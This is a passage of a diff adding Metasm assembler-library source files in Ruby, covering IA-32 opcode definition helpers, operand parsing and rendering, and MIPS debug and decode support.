0]}) { |o| o.props[type] = true } # TODO allow segment override + addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + bin = bin.dup + bin[0] |= 1 + addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + end + + def addop_macrofpu1(name, n) + addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! } + end + def addop_macrofpu2(name, n, n2=0) + addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 } + addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + end + def addop_macrofpu3(name, n) + addop_macrofpu2 name, n, 1 + addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + end + + def addop_macrogg(ggrng, name, bin, *args, &blk) + ggoff = 1 + ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A + ggrng.each { |gg| + bindup = bin.dup + bindup[ggoff] |= gg + sfx = %w(b w d q)[gg] + addop name+sfx, bindup, *args, &blk + } + end + + def addop_macrossps(name, bin, hint, *a) + addop name, bin.dup, hint, *a + addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrosdpd(name, bin, hint, *a) + addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 } + addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 } + end + + # special ret (iret/retf), that still default to 32b mode in x64 + def addop_macroret(name, bin, *args) + addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 } + addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret' + addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size } + end + + # add an AVX instruction needing a VEX prefix (c4h/c5h) + # the prefix is hardcoded + def addop_vex(name, vexspec, bin, *args) + argnr = vexspec.shift + argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol) + l = vexspec.shift + pfx = vexspec.shift + of = vexspec.shift + w = vexspec.shift + argt ||= (l == 128 ? :vexvxmm : :vexvymm) + + lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx) + mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of) + + c4bin = [0xC4, mmmmm, lpp, bin] + c4bin[1] |= 1 << 7 if @size != 64 + c4bin[1] |= 1 << 6 if @size != 64 + c4bin[2] |= 1 << 7 if w == 1 + c4bin[2] |= 0xF << 3 if not argnr + + addop(name, c4bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_x] = [1, 6] if @size == 64 + o.fields[:vex_b] = [1, 5] + o.fields[:vex_w] = [2, 7] if not w + o.fields[:vex_vvvv] = [2, 3] if argnr + + yield o if block_given? + } + + return if w == 1 or mmmmm != 1 + + c5bin = [0xC5, lpp, bin] + c5bin[1] |= 1 << 7 if @size != 64 + c5bin[1] |= 0xF << 3 if not argnr + + addop(name, c5bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_vvvv] = [1, 3] if argnr + + yield o if block_given? + } + end + + # helper function: creates a new Opcode based on the arguments, eventually + # yields it for further customisation, and append it to the instruction set + # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) + def addop(name, bin, hint=nil, *argprops) + fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {}) + op = Opcode.new name, bin + op.fields.replace fields + + case hint + when nil + + when :mrm, :mrmw, :mrmA + op.fields[:reg] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw + argprops.unshift :reg, :modrm + argprops << :modrmA if hint == :mrmA + op.bin << 0 + when :reg + op.fields[:reg] = [bin.length-1, 0] + argprops.unshift :reg + when :regfp + op.fields[:regfp] = [bin.length-1, 0] + argprops.unshift :regfp, :regfp0 + when :modrmA + op.fields[:modrm] = [bin.length-1, 0] + argprops << :modrm << :modrmA + + when Integer # mod/m, reg == opcode extension = hint + op.fields[:modrm] = [bin.length, 0] + op.bin << (hint << 3) + argprops.unshift :modrm + + when :mrmmmx + op.fields[:regmmx] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regmmx, :modrmmmx + when :mrmxmm + op.fields[:regxmm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regxmm, :modrmxmm + when :mrmymm + op.fields[:regymm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regymm, :modrmymm + else + raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" + end + + argprops.each { |a| + op.props[a] = true if @valid_props[a] + op.args << a if @valid_args[a] + } + + yield op if block_given? + + if $DEBUG + argprops -= @valid_props.keys + @valid_args.keys + raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? + + argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys) + raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? + end + + addop_post(op) + end + + # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) + def addop_post(op) + if df = op.fields.delete(:d) + # hardcode the bit + dop = op.dup + addop_post dop + + op.bin[df[0]] |= 1 << df[1] + op.args.reverse! + addop_post op + + return + elsif wf = op.fields.delete(:w) + # hardcode the bit + dop = op.dup + dop.props[:argsz] = 8 + # 64-bit w=0 s=1 => UD + dop.fields.delete(:s) if @size == 64 + addop_post dop + + op.bin[wf[0]] |= 1 << wf[1] + addop_post op + + return + elsif sf = op.fields.delete(:s) + # add explicit choice versions, with lower precedence (so that disassembling will return the general version) + # eg "jmp", "jmp.i8", "jmp.i" + # also hardcode the bit + op32 = op + addop_post op32 + + op8 = op.dup + op8.bin[sf[0]] |= 1 << sf[1] + op8.args.map! { |arg| arg == :i ? :i8 : arg } + addop_post op8 + + op32 = op32.dup + op32.name << '.i' + addop_post op32 + + op8 = op8.dup + op8.name << '.i8' + addop_post op8 + + return + elsif op.args.first == :regfp0 + dop = op.dup + dop.args.delete :regfp0 + addop_post dop + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/ + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.i32' + op32.props[:opsz] = 32 + @opcode_list << op32 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) + # XXX loop pfx 67 = eip+cx, 66 = ip+ecx + op16 = op.dup + op16.name << '.a16' + op16.props[:adsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + end + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb new file mode 100644 index 0000000000..1d32f5db9e --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/parse.rb @@ -0,0 +1,359 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/opcodes' +require 'metasm/cpu/ia32/encode' +require 'metasm/parse' + +module Metasm +class Ia32 +class ModRM + # may return a SegReg + # must be called before SegReg parser (which could match only the seg part of a modrm) + def self.parse(lexer, otok, cpu) + tok = otok + + # read operand size specifier + if tok and tok.type == :string and tok.raw =~ /^(?:byte|[dqo]?word|_(\d+)bits)$/ + ptsz = + if $1 + $1.to_i + else + case tok.raw + when 'byte'; 8 + when 'word'; 16 + when 'dword'; 32 + when 'qword'; 64 + when 'oword'; 128 + else raise otok, 'mrm: bad ptr size' + end + end + lexer.skip_space + if tok = lexer.readtok and tok.type == :string and tok.raw == 'ptr' + lexer.skip_space + tok = lexer.readtok + end + end + + # read segment selector + if tok and tok.type == :string and seg = SegReg.s_to_i[tok.raw] + lexer.skip_space + seg = SegReg.new(seg) + if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' + raise otok, 'invalid modrm' if ptsz + lexer.unreadtok ntok + return seg + end + lexer.skip_space + tok = lexer.readtok + end + + # ensure we have a modrm + if not tok or tok.type != :punct or tok.raw != '[' + raise otok, 'invalid modrm' if ptsz or seg + return + end + lexer.skip_space_eol + + # support fasm syntax [fs:eax] for segment selector + if tok = lexer.readtok and tok.type == :string and not seg and seg = SegReg.s_to_i[tok.raw] + raise otok, 'invalid modrm' if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' + seg = SegReg.new(seg) + lexer.skip_space_eol + else + lexer.unreadtok tok + end + + # read modrm content as generic expression + content = Expression.parse(lexer) + lexer.skip_space_eol + raise(otok, 'bad modrm') if not content or not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ']' + + # converts matching externals to Regs in an expression + regify = lambda { |o| + case o + when Expression + o.lexpr = regify[o.lexpr] + o.rexpr = regify[o.rexpr] + o + when String + cpu.str_to_reg(o) || o + else o + end + } + + s = i = b = imm = nil + + # assigns the Regs in the expression to base or index field of the modrm + walker = lambda { |o| + case o + when nil + when Reg + if b + raise otok, 'mrm: too many regs' if i + i = o + s = 1 + else + b = o + end + when SimdReg + raise otok, 'mrm: too many regs' if i + i = o + s = 1 + when Expression + if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg)) + # scaled index + raise otok, 'mrm: too many indexes' if i + s = o.lexpr + i = o.rexpr + s, i = i, s if s.kind_of? Reg + raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s) + elsif o.op == :+ + # recurse + walker[o.lexpr] + walker[o.rexpr] + else + # found (a part of) the immediate + imm = Expression[imm, :+, o] + end + else + # found (a part of) the immediate + imm = Expression[imm, :+, o] + end + } + + # do it + walker[regify[content.reduce]] + + # ensure found immediate is really an immediate + raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty? + + raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz + + # find default address size + adsz = b ? b.sz : i ? i.sz : nil + # ptsz may be nil now, will be fixed up later (in parse_instr_fixup) to match another instruction argument's size + new adsz, ptsz, s, i, b, imm, seg + end +end + + + # handles cpu-specific parser instruction, falls back to Ancestor's version if unknown keyword + # XXX changing the cpu size in the middle of the code may have baaad effects... + def parse_parser_instruction(lexer, instr) + case instr.raw.downcase + when '.mode', '.bits' + lexer.skip_space + if tok = lexer.readtok and tok.type == :string and (tok.raw == '16' or tok.raw == '32') + @size = tok.raw.to_i + lexer.skip_space + raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol + else + raise instr, 'invalid cpu mode' + end + else super(lexer, instr) + end + end + + def parse_prefix(i, pfx) + # implicit 'true' return value when assignment occur + i.prefix ||= {} + case pfx + when 'lock'; i.prefix[:lock] = true + when 'rep'; i.prefix[:rep] = 'rep' + when 'repe', 'repz'; i.prefix[:rep] = 'repz' + when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' + when 'code16'; i.prefix[:sz] = 16 + when 'code32'; i.prefix[:sz] = 32 + when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp' + when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp' + when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1]) + end + end + + def parse_argregclasslist + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] + end + def parse_modrm(lex, tok, cpu) + ModRM.parse(lex, tok, cpu) + end + + # parses an arbitrary ia32 instruction argument + def parse_argument(lexer) + lexer = AsmPreprocessor.new(lexer) if lexer.kind_of? String + + # reserved names (registers/segments etc) + @args_token ||= parse_argregclasslist.map { |a| a.s_to_i.keys }.flatten.inject({}) { |h, e| h.update e => true } + + lexer.skip_space + return if not tok = lexer.readtok + + if tok.type == :string and tok.raw == 'ST' + lexer.skip_space + if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == '(' + lexer.skip_space + if not nntok = lexer.readtok or nntok.type != :string or nntok.raw !~ /^[0-9]$/ or + not ntok = (lexer.skip_space; lexer.readtok) or ntok.type != :punct or ntok.raw != ')' + raise tok, 'invalid FP register' + else + tok.raw << '(' << nntok.raw << ')' + fpr = parse_argregclasslist.last + if fpr.s_to_i.has_key? tok.raw + return fpr.new(fpr.s_to_i[tok.raw]) + else + raise tok, 'invalid FP register' + end + end + else + lexer.unreadtok ntok + end + end + + if ret = parse_modrm(lexer, tok, self) + ret + elsif @args_token[tok.raw] + parse_argregclasslist.each { |a| + return a.from_str(tok.raw) if a.s_to_i.has_key? tok.raw + } + raise tok, 'internal error' + else + lexer.unreadtok tok + expr = Expression.parse(lexer) + lexer.skip_space + + # may be a farptr + if expr and ntok = lexer.readtok and ntok.type == :punct and ntok.raw == ':' + raise tok, 'invalid farptr' if not addr = Expression.parse(lexer) + Farptr.new expr, addr + else + lexer.unreadtok ntok + Expression[expr.reduce] if expr + end + end + end + + # check if the argument matches the opcode's argument spec + def parse_arg_valid?(o, spec, arg) + if o.name == 'movsx' or o.name == 'movzx' + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return + elsif not arg.sz + puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE + return + elsif spec == :reg # reg=dst, modrm=src (smaller) + return (arg.kind_of?(Reg) and arg.sz >= 16) + elsif o.props[:argsz] + return arg.sz == o.props[:argsz] + else + return arg.sz == 16 + end + elsif o.name == 'crc32' + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return + elsif not arg.sz + puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE + return + elsif spec == :reg + return (arg.kind_of?(Reg) and arg.sz >= 32) + elsif o.props[:argsz] + return arg.sz == o.props[:argsz] + else + return arg.sz >= 16 + end + end + + return false if arg.kind_of? ModRM and arg.adsz and o.props[:adsz] and arg.adsz != o.props[:adsz] + + cond = true + if s = o.props[:argsz] and (arg.kind_of? Reg or arg.kind_of? ModRM) + cond = (!arg.sz or arg.sz == s or spec == :reg_dx) + end + + cond and + case spec + when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) + when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg) + when :i; arg.kind_of? Expression + when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 + when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 + when :reg_eax; arg.kind_of? Reg and arg.val == 0 + when :reg_cl; arg.kind_of? Reg and arg.val == 1 and arg.sz == 8 + when :reg_dx; arg.kind_of? Reg and arg.val == 2 and arg.sz == 16 + when :seg3; arg.kind_of? SegReg + when :seg3A; arg.kind_of? SegReg and arg.val > 3 + when :seg2; arg.kind_of? SegReg and arg.val < 4 + when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 + when :eeec; arg.kind_of? CtrlReg + when :eeed; arg.kind_of? DbgReg + when :eeet; arg.kind_of? TstReg + when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b + when :farptr; arg.kind_of? Farptr + when :regfp; arg.kind_of? FpReg + when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) + when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) + when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) + when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) + when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 + when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) + when :regymm; arg.kind_of? SimdReg and arg.sz == 256 + + when :vexvreg; arg.kind_of? Reg and arg.sz == @size + when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128 + when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256 + + when :i8, :u8, :u16 + arg.kind_of? Expression and + (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed + # jz 0x28282828 may fit in :i8 depending on instr addr + else raise EncodeError, "Internal error: unknown argument specification #{spec.inspect}" + end + end + + def parse_instruction_checkproto(i) + case i.opname + when 'imul' + if i.args.length == 2 and i.args.first.kind_of? Reg and i.args.last.kind_of? Expression + i.args.unshift i.args.first.dup + end + end + super(i) + end + + # fixup the sz of a modrm argument, defaults to other argument size or current cpu mode + def parse_instruction_fixup(i) + if m = i.args.grep(ModRM).first and not m.sz + if i.opname == 'movzx' or i.opname == 'movsx' + m.sz = 8 + else + if r = i.args.grep(Reg).first + m.sz = r.sz + elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first + m.sz = l.first + else + # this is also the size of ctrlreg/dbgreg etc + # XXX fpu/simd ? + m.sz = i.prefix[:sz] || @size + end + end + end + if m and not m.adsz + if opcode_list_byname[i.opname].all? { |o| o.props[:adsz] } + m.adsz = opcode_list_byname[i.opname].first.props[:adsz] + else + m.adsz = i.prefix[:sz] || @size + end + end + end + + def check_reserved_name(name) + Reg.s_to_i[name] + end + + def instr_uncond_jump_to(target) + parse_instruction("jmp #{target}") + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb new file mode 100644 index 0000000000..2223819fdf --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/render.rb @@ -0,0 +1,118 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/opcodes' +require 'metasm/render' + +# XXX move context in another file ? +module Metasm +class Ia32 + class Argument + include Renderable + end + + [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval { + def render ; [self.class.i_to_s[@val]] end + } } + [Reg, SimdReg].each { |c| c.class_eval { + def render ; [self.class.i_to_s[@sz][@val]] end + def context ; {'set sz' => lambda { |s| @sz = s }} end + } } + + class Farptr + def render + [@seg, ':', @addr] + end + end + + class ModRM + def qualifier(sz) + { + 8 => 'byte', + 16 => 'word', + 32 => 'dword', + 64 => 'qword', + 128 => 'oword' + }.fetch(sz) { |k| "_#{sz}bits" } + end + + attr_accessor :instruction + def render + r = [] + r << ( qualifier(@sz) << ' ptr ' ) if @sz and (not instruction or not @instruction.args.find { |a| a.kind_of? Reg and a.sz == @sz }) + r << @seg << ':' if seg + + e = nil + e = Expression[e, :+, @b] if b + e = Expression[e, :+, @imm] if imm + e = Expression[e, :+, (@s == 1 ? @i : [@s, :*, @i])] if s + r << '[' << e << ']' + end + + def context + {'set targetsz' => lambda { |s| @sz = s }, + 'set seg' => lambda { |s| @seg = Seg.new s }} + end + end + + def render_instruction(i) + r = [] + if pfx = i.prefix + r << 'lock ' if pfx[:lock] + r << pfx[:rep] << ' ' if pfx[:rep] + r << pfx[:jmphint] << ' ' if pfx[:jmphint] + r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg] + end + r << i.opname + sep = ' ' + i.args.each { |a| + a.instruction = i if a.kind_of? ModRM + r << sep << a + sep = ', ' + } + r + end + + def instruction_context(i) + # XXX + h = {} + op = opcode_list_byname[i.opname].first + if i.prefix and i.prefix[:rep] + h['toogle repz'] = lambda { i.prefix[:rep] = {'repnz' => 'repz', 'repz' => 'repnz'}[i.prefix[:rep]] } if op.props[:stropz] + h['rm rep'] = lambda { i.prefix.delete :rep } + else + h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'rep' } if op.props[:strop] + h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'repz' } if op.props[:stropz] + end + if i.args.find { |a| a.kind_of? ModRM and a.seg } + h['rm seg'] = lambda { i.args.find { |a| a.kind_of? ModRM and a.seg }.seg = nil } + end + h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } + h + end + + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "e?#{r}x|#{r}l" + ret["#{r}h"] = "e?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret[r] = ret["e#{r}"] = "e?#{r}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end +end +end diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb new file mode 100644 index 0000000000..52c3005e24 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips.rb @@ -0,0 +1,14 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::MIPS < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/mips/parse' +require 'metasm/cpu/mips/encode' +require 'metasm/cpu/mips/decode' +require 'metasm/cpu/mips/render' +require 'metasm/cpu/mips/debug' diff --git a/lib/metasm/metasm/cpu/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb new file mode 100644 index 0000000000..a92e397ecc --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/compile_c.rb @@ -0,0 +1,7 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/mips/parse' +require 'metasm/compile_c' diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb new file mode 100644 index 0000000000..05e39c0b02 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/debug.rb @@ -0,0 +1,42 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class MIPS + def dbg_register_pc + @dbg_register_pc ||= :pc + end + def dbg_register_flags + @dbg_register_flags ||= :flags + end + + def dbg_register_list + @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 + t0 t1 t2 t3 t4 t5 t6 t7 + s0 s1 s2 s3 s4 s5 s6 s7 + t8 t9 k0 k1 gp sp fp ra + sr mullo mulhi badva cause pc].map { |r| r.to_sym } + end + + def dbg_flag_list + @dbg_flag_list ||= [] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(@size) + end + + def dbg_need_stepover(dbg, addr, di) + di and di.opcode.props[:saveip] + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'foobar' # TODO + end +end +end diff --git a/lib/metasm/metasm/cpu/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb new file mode 100644 index 0000000000..6b61555bbb --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/decode.rb @@ -0,0 +1,284 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/mips/opcodes' +require 'metasm/decode' + +module Metasm +class MIPS + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.args.each { |f| + op.bin_mask |= @fields_mask[f] << @fields_shift[f] + } + op.bin_mask = 0xffffffff ^ op.bin_mask + end + + def build_bin_lookaside + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + + b = op.bin >> 24 + msk = op.bin_mask >> 24 + + for i in b..(b | (255^msk)) + next if i & msk != b & msk + lookaside[i] << op + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u32, @endianness) + edata.ptr -= 4 + if val.kind_of?(Expression) + # relocations + hval = Expression[val, :&, 0xff000000].reduce + if hval.kind_of?(Expression) + # reloc_i26 + if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b') + hval = pat['b'] + end + end + di if di.opcode = @bin_lookaside[hval >> 24].find { |op| + (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce + } + else + di if di.opcode = @bin_lookaside[val >> 24].find { |op| + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = edata.decode_imm(:u32, @endianness) + + field_val = lambda { |f| + if val.kind_of?(Expression) + r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce + else + r = (val >> @fields_shift[f]) & @fields_mask[f] + end + + next r if r.kind_of?(Expression) + case f + when :msbd; r += 1 + when :i16; r = Expression.make_signed(r, 16) + when :i20; r = Expression.make_signed(r, 20) + when :i26; r = Expression.make_signed(r, 26) + else r + end + } + + op.args.each { |a| + di.instruction.args << case a + when :rs, :rt, :rd; Reg.new field_val[a] + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]] + when :rs_i16 + len = 32 + len = 64 if op.props[:m64] + len = 16 if op.props[:mi16] or op.props[:mu16] + len = 8 if op.props[:mi8 ] or op.props[:mu8] + Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len + when :ft; FpReg.new field_val[a] + when :idm1; Expression['unsupported'] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return false if edata.ptr > edata.length + + di + end + + # converts relative branch offsets to absolute addresses + # else just add the offset +off+ of the instruction + its length (off may be an Expression) + # assumes edata.ptr points just after the instruction (as decode_instr_op left it) + # do not call twice on the same di ! + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t + delta = Expression[di.instruction.args.last, :<<, 2].reduce + if di.opcode.args.include? :i26 + # absolute jump in the 0x3ff_ffff region surrounding next_pc + if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc + # relocated arg: assume the linker mapped so that instr&target are in the same region + arg = Expression[delta.lexpr].reduce + else + arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce + end + else + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + end + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # hash opname => lambda { |di, *sym_args| binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + def init_backtrace_binding + @backtrace_binding ||= {} + opcode_list.map { |ol| ol.name }.uniq.each { |op| + binding = case op + when 'break' + when 'bltzal', 'bgezal'; lambda { |di, *a| + # XXX $ra is set only if branch is taken... + { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } + } + when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } + when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } } + when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. + when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } + when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } + when 'and', 'andi'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } + when 'or', 'ori'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } + when 'nor'; lambda { |di, a0, a1, a2| { a0 => Expression[:~, [a1, :|, a2]] } } + when 'xor'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, a2] } } + when 'sll', 'sllv'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :>>, a2] } } + when 'srl', 'srlv', 'sra', 'srav'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<<, a2] } } # XXX sign-extend + when 'lw'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'sw'; lambda { |di, a0, a1| { a1 => Expression[a0] } } + when 'lh', 'lhu'; lambda { |di, a0, 